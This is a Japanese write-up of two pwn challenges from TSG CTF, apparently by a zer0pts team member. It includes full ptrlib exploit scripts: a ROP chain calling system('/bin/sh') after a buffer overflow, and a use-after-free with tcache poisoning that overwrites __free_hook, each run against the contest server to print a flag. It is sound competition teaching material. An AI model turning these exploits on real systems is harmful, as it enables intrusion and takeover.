なんかtwitterで流れてたのでzer0ptsで参加しました。 75分という短時間で早解きが要求されるCTFです。
TSGの問題は良問が多いので好きです。75分なので問題数は少なかったですが、チームメンバーの様子を見ていても面白い問題が多かったようです。 私はpwn担当で2つだけ通したので、そのwriteupを書いておきます。
他のメンバーのwriteup:
[Pwn 100] IfYouWanna
64-bitのELFとlibc-2.27が配布されます。セキュリティ機構は基本無効です。
$ checksec -f IfYouWanna RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 74 Symbols No 0 4 IfYouWanna
バイナリを読むと最初にauthというのでパスワードをチェックし、その後に自明BOFがります。また、authに成功するとlibcのベースアドレスが貰えます。 authは特に脆弱性がなかったので、angrに投げました。
import angr p = angr.Project("./IfYouWanna", load_options={"auto_load_libs": False}) state = p.factory.entry_state() simgr = p.factory.simulation_manager(state) simgr.explore(find=0x40096c, avoid=0x400956) try: found = simgr.found[0] print(found.posix.dumps(0)) except IndexError: print("Not Found")
これでパスワードが mora+cookie+nan+t4shi+swa11ow=
であると出力されるのですが、これを使ってもincorrectになります。
仕方ないのでauthを読むとループの最後っぽいところにstrtoulでパスワードの最後の方の値をチェックしている処理がありました。
angrが出してくれた結果が等式っぽいのでなんか数字を入れれば良いのでしょう。
gdbで比較しているところで止めると0xaceだったのでこれを付けたら通りました。
あとはsystem("/bin/sh")
を呼ぶだけ。
from ptrlib import * libc = ELF("./libc.so.6") #sock = Process("./IfYouWanna") sock = Socket("3.112.113.4", 20002) libc_pop_rdi = 0x0002155f rop_ret = 0x00400293 # leak libc password = "mora+cookie+nan+t4shi+swa11ow=" password += hex(0xace)[2:] sock.sendlineafter("> ", password) sock.recvline() libc_base = int(sock.recvline().split(b": ")[1], 16) logger.info("libc = " + hex(libc_base)) # get the shell! payload = b'Y' * 0xa0 payload += p64(0xffffffffffffffff) payload += p64(rop_ret) payload += p64(libc_base + libc_pop_rdi) payload += p64(libc_base + next(libc.find("/bin/sh"))) payload += p64(libc_base + libc.symbol("system")) sock.sendlineafter("> ", payload) sock.interactive()
scanfを使っているのでバイナリ中のpop rdi; ret;
は改行文字が入っており使えません。
$ python solve.py [+] __init__: Successfully connected to 3.112.113.4:20002 [+] <module>: libc = 0x7f55892bd000 [ptrlib]$ YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYÿÿÿÿÿÿÿÿ@[ptrlib]$ cat /home/user/flag TSGCTF{This_is_too_easy_pwn_but_you_got_100_pts_anyway!} [ptrlib]$
[Pwn 200] ShyEEICtan
64-bitのELFとlibc-2.27、ソースコードが配られます。
$ checksec -f ShyEEICtan RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 85 Symbols Yes 0 4 ShyEEICtan
よくあるヒープ問で、_remove
を読むと自明にUAFがあります。
void _remove(void) { int inp; printf("\nEh, %d schedules are set...\n",num_schedule); printf("Please enter the index(zero origin) > "); inp = getint(); if(0<=inp && inp<=num_schedule-1){ free(schedules[inp]); printf("D, deleted...\n\n"); return; }else{ printf("invalid index\n\n"); return; } }
ただし、showを見ると一番最初のScheduleの最初の8バイトしか表示してくれないことが分かります。 ということで、一番最初に作ったScheduleを大切に取り扱いましょう。
とりあえずUAFがあるのでheapのアドレスはすぐに求まります。 libc leakですが、最初のlistのサイズヘッダを改竄するのは面倒だったのでtcacheを埋めてunsorted binに繋ぎました。 (実は最初はサイズヘッダを改竄してlibcのアドレスを作ったけど後でshowが8バイトしか出力してないことに気づいた。なのでheapのアドレスとか無駄に求めちゃってます。) あとは適当にtcache poisoningして終わり。
from ptrlib import * def add(schedule): sock.sendlineafter("> ", "1") sock.sendafter(">", schedule) return def delete(index): sock.sendlineafter("> ", "2") sock.sendlineafter("> ", str(index)) return def show(): sock.sendlineafter("> ", "3") sock.recvline() sock.recvline() return sock.recvline() def edit(index, data): sock.sendlineafter("> ", "4") sock.sendlineafter("> ", str(index)) sock.sendafter(">", data) return # BUF_SIZE = 0x200 libc = ELF("./libc.so.6") #sock = Process("./ShyEEICtan") sock = Socket("3.112.113.4", 20000) libc_main_arena = 0x3ebc40 # leak heap add(p64(0) + p64(0x431)) # 0 add("1") # 1 add((p64(0) + p64(0x21)) * 0x10) # 2 delete(1) delete(0) heap_base = u64(show()[:8]) - 0x220 logger.info("heap = " + hex(heap_base)) # leak libc for i in range(6): delete(0) libc_base = u64(show()[:8]) - libc_main_arena - 0x60 logger.info("libc = " + hex(libc_base)) # tcache poisoning edit(0, p64(libc_base + libc.symbol("__free_hook"))) add("/bin/sh") # 3 add(p64(libc_base + libc.symbol("system"))) # 4 delete(3) sock.interactive()
ほい。
$ python solve.py [+] __init__: Successfully connected to 3.112.113.4:20000 [+] <module>: heap = 0x557af326e580 [+] <module>: libc = 0x7f10de55b000 [ptrlib]$ cat /home/user/flag TSGCTF{EEIC_is_really_really_really_really_really_WHITE!!!} [ptrlib]$